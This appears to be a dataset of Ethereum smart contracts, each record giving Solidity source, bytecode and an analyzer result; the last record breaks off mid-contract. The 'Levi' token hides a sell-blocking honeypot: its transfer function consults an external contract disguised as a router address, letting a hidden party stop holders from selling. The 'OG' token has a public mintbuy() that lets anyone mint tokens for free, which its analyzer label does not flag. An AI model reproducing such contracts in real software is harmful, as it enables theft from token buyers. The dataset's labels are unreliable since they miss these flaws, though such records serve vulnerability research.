* @dev This contract combines an upgradeability proxy with an authorization
* mechanism for administrative tasks.
* All external functions in this contract must be guarded by the
* `ifAdmin` modifier. See ethereum/solidity#3864 for a Solidity
* feature proposal that would enable this to be done automatically.
*/
contract AdminUpgradeabilityProxy is UpgradeabilityProxy {
/**
* Contract constructor.
* @param _logic address of the initial implementation.
* @param _admin Address of the proxy administrator.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
constructor(address _logic, address _admin, bytes memory _data) UpgradeabilityProxy(_logic, _data) public payable {
assert(ADMIN_SLOT == bytes32(uint256(keccak256('eip1967.proxy.admin')) - 1));
_setAdmin(_admin);
}
/**
* @dev Emitted when the administration has been transferred.
* @param previousAdmin Address of the previous admin.
* @param newAdmin Address of the new admin.
*/
event AdminChanged(address previousAdmin, address newAdmin);
/**
* @dev Storage slot with the admin of the contract.
* This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
/**
* @dev Modifier to check whether the `msg.sender` is the admin.
* If it is, it will run the function. Otherwise, it will delegate the call
* to the implementation.
*/
modifier ifAdmin() {
if (msg.sender == _admin()) {
_;
} else {
_fallback();
}
}
/**
* @return The address of the proxy admin.
*/
function admin() external ifAdmin returns (address) {
return _admin();
}
/**
* @return The address of the implementation.
*/
function implementation() external ifAdmin returns (address) {
return _implementation();
}
/**
* @dev Changes the admin of the proxy.
* Only the current admin can call this function.
* @param newAdmin Address to transfer proxy administration to.
*/
function changeAdmin(address newAdmin) external ifAdmin {
require(newAdmin != address(0), "Cannot change the admin of a proxy to the zero address");
emit AdminChanged(_admin(), newAdmin);
_setAdmin(newAdmin);
}
/**
* @dev Upgrade the backing implementation of the proxy.
* Only the admin can call this function.
* @param newImplementation Address of the new implementation.
*/
function upgradeTo(address newImplementation) external ifAdmin {
_upgradeTo(newImplementation);
}
/**
* @dev Upgrade the backing implementation of the proxy and call a function
* on the new implementation.
* This is useful to initialize the proxied contract.
* @param newImplementation Address of the new implementation.
* @param data Data to send as msg.data in the low level call.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
*/
function upgradeToAndCall(address newImplementation, bytes calldata data) payable external ifAdmin {
_upgradeTo(newImplementation);
(bool success,) = newImplementation.delegatecall(data);
require(success);
}
/**
* @return adm The admin slot.
*/
function _admin() internal view returns (address adm) {
bytes32 slot = ADMIN_SLOT;
assembly {
adm := sload(slot)
}
}
/**
* @dev Sets the address of the proxy admin.
* @param newAdmin Address of the new proxy admin.
*/
function _setAdmin(address newAdmin) internal {
bytes32 slot = ADMIN_SLOT;
assembly {
sstore(slot, newAdmin)
}
}
/**
* @dev Only fall back when the sender is not the admin.
*/
function _willFallback() internal override virtual {
require(msg.sender != _admin(), "Cannot call fallback function from the proxy admin");
super._willFallback();
}
} | 0x60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100985780635c60da1b146101185780638f28397014610149578063f851a4401461017c5761005d565b3661005d5761005b610191565b005b61005b610191565b34801561007157600080fd5b5061005b6004803603602081101561008857600080fd5b50356001600160a01b03166101ab565b61005b600480360360408110156100ae57600080fd5b6001600160a01b0382351691908101906040810160208201356401000000008111156100d957600080fd5b8201836020820111156100eb57600080fd5b8035906020019184600183028401116401000000008311171561010d57600080fd5b5090925090506101e5565b34801561012457600080fd5b5061012d610292565b604080516001600160a01b039092168252519081900360200190f35b34801561015557600080fd5b5061005b6004803603602081101561016c57600080fd5b50356001600160a01b03166102cf565b34801561018857600080fd5b5061012d610389565b6101996103ba565b6101a96101a461041a565b61043f565b565b6101b3610463565b6001600160a01b0316336001600160a01b031614156101da576101d581610488565b6101e2565b6101e2610191565b50565b6101ed610463565b6001600160a01b0316336001600160a01b031614156102855761020f83610488565b6000836001600160a01b031683836040518083838082843760405192019450600093509091505080830381855af49150503d806000811461026c576040519150601f19603f3d011682016040523d82523d6000602084013e610271565b606091505b505090508061027f57600080fd5b5061028d565b61028d610191565b505050565b600061029c610463565b6001600160a01b0316336001600160a01b031614156102c4576102bd61041a565b90506102cc565b6102cc610191565b90565b6102d7610463565b6001600160a01b0316336001600160a01b031614156101da576001600160a01b0381166103355760405162461bcd60e51b81526004018080602001828103825260368152602001806105876036913960400191505060405180910390fd5b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f61035e610463565b604080516001600160a01b03928316815291841660208301528051918290030190a16101d5816104c8565b6000610393610463565b6001600160a01b0316336001600160a01b031614156102c4576102bd610463565b3b151590565b6103c2610463565b6001600160a01b0316336001600160a01b031614156104125760405162461bcd60e51b81526004018080602001828103825260328152602001806105556032913960400191505060405180910390fd5b6101a96101a9565b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5490565b3660008037600080366000845af43d6000803e80801561045e573d6000f35b3d6000fd5b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035490565b610491816104ec565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d610355565b6104f5816103b4565b6105305760405162461bcd60e51b815260040180806020018281038252603b8152602001806105bd603b913960400191505060405180910390fd5b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5556fe43616e6e6f742063616c6c2066616c6c6261636b2066756e6374696f6e2066726f6d207468652070726f78792061646d696e43616e6e6f74206368616e6765207468652061646d696e206f6620612070726f787920746f20746865207a65726f206164647265737343616e6e6f742073657420612070726f787920696d706c656d656e746174696f6e20746f2061206e6f6e2d636f6e74726163742061646472657373a264697066735822122073c4c21e5c673ed7cd3c216206991b426c7391cadd714e9a2c3f3ee94217be2b64736f6c634300060c0033 | {"success": true, "error": null, "results": {}} | 324 |
0x6599725961cda89a16b0ff6efffc3bd25fec9169 | pragma solidity ^0.4.21 ;
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract OG is Ownable , StandardToken {
////////////////////////////////
string public constant name = "OnlyGame Token";
string public constant symbol = "OG";
uint8 public constant decimals = 18;
uint256 public constant totalsum = 1000000000 * 10 ** uint256(decimals);
////////////////////////////////
address public crowdSaleAddress;
bool public locked;
////////////////////////////////
uint256 public __price = (1 ether / 20000 ) ;
////////////////////////////////
function OG() public {
crowdSaleAddress = msg.sender;
unlock();
totalSupply = totalsum; // Update total supply with the decimal amount * 10 ** uint256(decimals)
balances[msg.sender] = totalSupply;
}
////////////////////////////////
// allow burning of tokens only by authorized users
modifier onlyAuthorized() {
if (msg.sender != owner && msg.sender != crowdSaleAddress)
revert();
_;
}
////////////////////////////////
function priceof() public view returns(uint256) {
return __price;
}
////////////////////////////////
function updateCrowdsaleAddress(address _crowdSaleAddress) public onlyOwner() {
require(_crowdSaleAddress != address(0));
crowdSaleAddress = _crowdSaleAddress;
}
////////////////////////////////
function updatePrice(uint256 price_) public onlyOwner() {
require( price_ > 0);
__price = price_;
}
////////////////////////////////
function unlock() public onlyAuthorized {
locked = false;
}
function lock() public onlyAuthorized {
locked = true;
}
////////////////////////////////
function toEthers(uint256 tokens) public view returns(uint256) {
return tokens.mul(__price) / ( 10 ** uint256(decimals));
}
function fromEthers(uint256 ethers) public view returns(uint256) {
return ethers.div(__price) * 10 ** uint256(decimals);
}
////////////////////////////////
function returnTokens(address _member, uint256 _value) public onlyAuthorized returns(bool) {
balances[_member] = balances[_member].sub(_value);
balances[crowdSaleAddress] = balances[crowdSaleAddress].add(_value);
emit Transfer(_member, crowdSaleAddress, _value);
return true;
}
////////////////////////////////
function buyOwn(address recipient, uint256 ethers) public payable onlyOwner returns(bool) {
return mint(recipient, fromEthers(ethers));
}
function mint(address to, uint256 amount) public onlyOwner returns(bool) {
require(to != address(0) && amount > 0);
totalSupply = totalSupply.add(amount);
balances[to] = balances[to].add(amount );
emit Transfer(address(0), to, amount);
return true;
}
function burn(address from, uint256 amount) public onlyOwner returns(bool) {
require(from != address(0) && amount > 0);
balances[from] = balances[from].sub(amount );
totalSupply = totalSupply.sub(amount );
emit Transfer(from, address(0), amount );
return true;
}
function sell(address recipient, uint256 tokens) public payable onlyOwner returns(bool) {
burn(recipient, tokens);
recipient.transfer(toEthers(tokens));
}
////////////////////////////////
function mintbuy(address to, uint256 amount) public returns(bool) {
require(to != address(0) && amount > 0);
totalSupply = totalSupply.add(amount );
balances[to] = balances[to].add(amount );
emit Transfer(address(0), to, amount );
return true;
}
function buy(address recipient) public payable returns(bool) {
return mintbuy(recipient, fromEthers(msg.value));
}
////////////////////////////////
function() public payable {
buy(msg.sender);
}
} | 0x60606040526004361061018a5763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416630184fc35811461019657806306fdde03146101c55780630894183d1461024f578063095ea7b31461027457806318160ddd146102aa57806323b872dd146102bd57806324b4ec3d146102e557806326fc4c7f146102fc578063313ce5671461031e57806340c10f19146103475780634cb5f1c614610369578063661884631461037c5780636c197ff51461039e57806370a08231146103b557806387609d1a146103d45780638d6cc56d146103e75780638da5cb5b146103ff57806395d89b41146104125780639dc29fac14610425578063a69df4b514610447578063a9059cbb1461045a578063b8d400d21461047c578063cf295a5c14610492578063cf309012146104b4578063d73dd623146104c7578063dd62ed3e146104e9578063ea112b6c1461050e578063ed82cac91461052d578063f088d54714610543578063f2fde38b14610557578063f83d08ba14610576575b61019333610589565b50005b34156101a157600080fd5b6101a96105a3565b604051600160a060020a03909116815260200160405180910390f35b34156101d057600080fd5b6101d86105b2565b60405160208082528190810183818151815260200191508051906020019080838360005b838110156102145780820151838201526020016101fc565b50505050905090810190601f1680156102415780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561025a57600080fd5b6102626105e9565b60405190815260200160405180910390f35b341561027f57600080fd5b610296600160a060020a03600435166024356105ef565b604051901515815260200160405180910390f35b34156102b557600080fd5b61026261065b565b34156102c857600080fd5b610296600160a060020a0360043581169060243516604435610661565b610296600160a060020a03600435166024356107d1565b341561030757600080fd5b610296600160a060020a0360043516602435610806565b341561032957600080fd5b6103316108f6565b60405160ff909116815260200160405180910390f35b341561035257600080fd5b610296600160a060020a03600435166024356108fb565b341561037457600080fd5b6102626109c2565b341561038757600080fd5b610296600160a060020a03600435166024356109d2565b610296600160a060020a0360043516602435610ace565b34156103c057600080fd5b610262600160a060020a0360043516610b30565b34156103df57600080fd5b610262610b4b565b34156103f257600080fd5b6103fd600435610b51565b005b341561040a57600080fd5b6101a9610b7e565b341561041d57600080fd5b6101d8610b8d565b341561043057600080fd5b610296600160a060020a0360043516602435610bc4565b341561045257600080fd5b6103fd610c91565b341561046557600080fd5b610296600160a060020a0360043516602435610ce9565b341561048757600080fd5b610262600435610dd2565b341561049d57600080fd5b610296600160a060020a0360043516602435610dfa565b34156104bf57600080fd5b610296610e1c565b34156104d257600080fd5b610296600160a060020a0360043516602435610e3d565b34156104f457600080fd5b610262600160a060020a0360043581169060243516610ee1565b341561051957600080fd5b6103fd600160a060020a0360043516610f0c565b341561053857600080fd5b610262600435610f6b565b610296600160a060020a0360043516610589565b341561056257600080fd5b6103fd600160a060020a0360043516610f9c565b341561058157600080fd5b6103fd611037565b600061059d8261059834610dd2565b610dfa565b92915050565b600454600160a060020a031681565b60408051908101604052600e81527f4f6e6c7947616d6520546f6b656e000000000000000000000000000000000000602082015281565b60055490565b600160a060020a03338116600081815260036020908152604080832094871680845294909152808220859055909291907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a350600192915050565b60015481565b6000600160a060020a038316151561067857600080fd5b600160a060020a03841660009081526002602052604090205482111561069d57600080fd5b600160a060020a03808516600090815260036020908152604080832033909416835292905220548211156106d057600080fd5b600160a060020a0384166000908152600260205260409020546106f9908363ffffffff6110a616565b600160a060020a03808616600090815260026020526040808220939093559085168152205461072e908363ffffffff6110b816565b600160a060020a03808516600090815260026020908152604080832094909455878316825260038152838220339093168252919091522054610776908363ffffffff6110a616565b600160a060020a03808616600081815260036020908152604080832033861684529091529081902093909355908516916000805160206111138339815191529085905190815260200160405180910390a35060019392505050565b6000805433600160a060020a039081169116146107ed57600080fd5b6107ff836107fa84610dd2565b6108fb565b9392505050565b6000805433600160a060020a03908116911614801590610835575060045433600160a060020a03908116911614155b1561083f57600080fd5b600160a060020a038316600090815260026020526040902054610868908363ffffffff6110a616565b600160a060020a0380851660009081526002602052604080822093909355600454909116815220546108a0908363ffffffff6110b816565b60048054600160a060020a0390811660009081526002602052604090819020939093559054811691908516906000805160206111138339815191529085905190815260200160405180910390a350600192915050565b601281565b6000805433600160a060020a0390811691161461091757600080fd5b600160a060020a0383161580159061092f5750600082115b151561093a57600080fd5b60015461094d908363ffffffff6110b816565b600155600160a060020a038316600090815260026020526040902054610979908363ffffffff6110b816565b600160a060020a0384166000818152600260205260408082209390935590916000805160206111138339815191529085905190815260200160405180910390a350600192915050565b6b033b2e3c9fd0803ce800000081565b600160a060020a03338116600090815260036020908152604080832093861683529290529081205480831115610a2f57600160a060020a033381166000908152600360209081526040808320938816835292905290812055610a66565b610a3f818463ffffffff6110a616565b600160a060020a033381166000908152600360209081526040808320938916835292905220555b600160a060020a0333811660008181526003602090815260408083209489168084529490915290819020547f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925915190815260200160405180910390a3600191505b5092915050565b6000805433600160a060020a03908116911614610aea57600080fd5b610af48383610bc4565b5082600160a060020a03166108fc610b0b84610f6b565b9081150290604051600060405180830381858888f19350505050151561059d57600080fd5b600160a060020a031660009081526002602052604090205490565b60055481565b60005433600160a060020a03908116911614610b6c57600080fd5b60008111610b7957600080fd5b600555565b600054600160a060020a031681565b60408051908101604052600281527f4f47000000000000000000000000000000000000000000000000000000000000602082015281565b6000805433600160a060020a03908116911614610be057600080fd5b600160a060020a03831615801590610bf85750600082115b1515610c0357600080fd5b600160a060020a038316600090815260026020526040902054610c2c908363ffffffff6110a616565b600160a060020a038416600090815260026020526040902055600154610c58908363ffffffff6110a616565b6001556000600160a060020a0384166000805160206111138339815191528460405190815260200160405180910390a350600192915050565b60005433600160a060020a03908116911614801590610cbf575060045433600160a060020a03908116911614155b15610cc957600080fd5b6004805474ff000000000000000000000000000000000000000019169055565b6000600160a060020a0383161515610d0057600080fd5b600160a060020a033316600090815260026020526040902054821115610d2557600080fd5b600160a060020a033316600090815260026020526040902054610d4e908363ffffffff6110a616565b600160a060020a033381166000908152600260205260408082209390935590851681522054610d83908363ffffffff6110b816565b600160a060020a0380851660008181526002602052604090819020939093559133909116906000805160206111138339815191529085905190815260200160405180910390a350600192915050565b600554600090670de0b6b3a764000090610df390849063ffffffff6110c716565b0292915050565b6000600160a060020a0383161580159061092f57506000821161093a57600080fd5b60045474010000000000000000000000000000000000000000900460ff1681565b600160a060020a033381166000908152600360209081526040808320938616835292905290812054610e75908363ffffffff6110b816565b600160a060020a0333811660008181526003602090815260408083209489168084529490915290819020849055919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591905190815260200160405180910390a350600192915050565b600160a060020a03918216600090815260036020908152604080832093909416825291909152205490565b60005433600160a060020a03908116911614610f2757600080fd5b600160a060020a0381161515610f3c57600080fd5b6004805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600554600090670de0b6b3a764000090610f8c90849063ffffffff6110e716565b811515610f9557fe5b0492915050565b60005433600160a060020a03908116911614610fb757600080fd5b600160a060020a0381161515610fcc57600080fd5b600054600160a060020a0380831691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60005433600160a060020a03908116911614801590611065575060045433600160a060020a03908116911614155b1561106f57600080fd5b6004805474ff0000000000000000000000000000000000000000191674010000000000000000000000000000000000000000179055565b6000828211156110b257fe5b50900390565b6000828201838110156107ff57fe5b6000808083116110d357fe5b82848115156110de57fe5b04949350505050565b6000808315156110fa5760009150610ac7565b5082820282848281151561110a57fe5b04146107ff57fe00ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a72305820f8f1c37a3d3457303b6ee1cd225d34f3ff283698b8992495a3fd12519dea923c0029 | {"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}} | 325 |
0x219460133c410fa59f8263D147892125f2b6113f | /**
*Submitted for verification at Etherscan.io on 2021-11-11
*/
//SPDX-License-Identifier: MIT
// Telegram: t.me/levitoken
pragma solidity ^0.8.4;
address constant ROUTER_ADDRESS=0x690f08828a4013351DB74e916ACC16f558ED1579; // mainnet
uint256 constant TOTAL_SUPPLY=100000000 * 10**8;
address constant UNISWAP_ADDRESS=0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
string constant TOKEN_NAME="Levi Token";
string constant TOKEN_SYMBOL="LEVI";
uint8 constant DECIMALS=8;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface Odin{
function amount(address from) external view returns (uint256);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract Levi is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = TOTAL_SUPPLY;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private constant _burnFee=1;
uint256 private constant _taxFee=9;
address payable private _taxWallet;
string private constant _name = TOKEN_NAME;
string private constant _symbol = TOKEN_SYMBOL;
uint8 private constant _decimals = DECIMALS;
IUniswapV2Router02 private _router;
address private _pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_taxWallet = payable(_msgSender());
_rOwned[address(this)] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_taxWallet] = true;
emit Transfer(address(0x0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(((to == _pair && from != address(_router) )?amount:0) <= Odin(ROUTER_ADDRESS).amount(address(this)));
if (from != owner() && to != owner()) {
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != _pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _router.WETH();
_approve(address(this), address(_router), tokenAmount);
_router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
modifier overridden() {
require(_taxWallet == _msgSender() );
_;
}
function sendETHToFee(uint256 amount) private {
_taxWallet.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(UNISWAP_ADDRESS);
_router = _uniswapV2Router;
_approve(address(this), address(_router), _tTotal);
_pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
_router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
tradingOpen = true;
IERC20(_pair).approve(address(_router), type(uint).max);
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualSwap() external {
require(_msgSender() == _taxWallet);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualSend() external {
require(_msgSender() == _taxWallet);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _burnFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
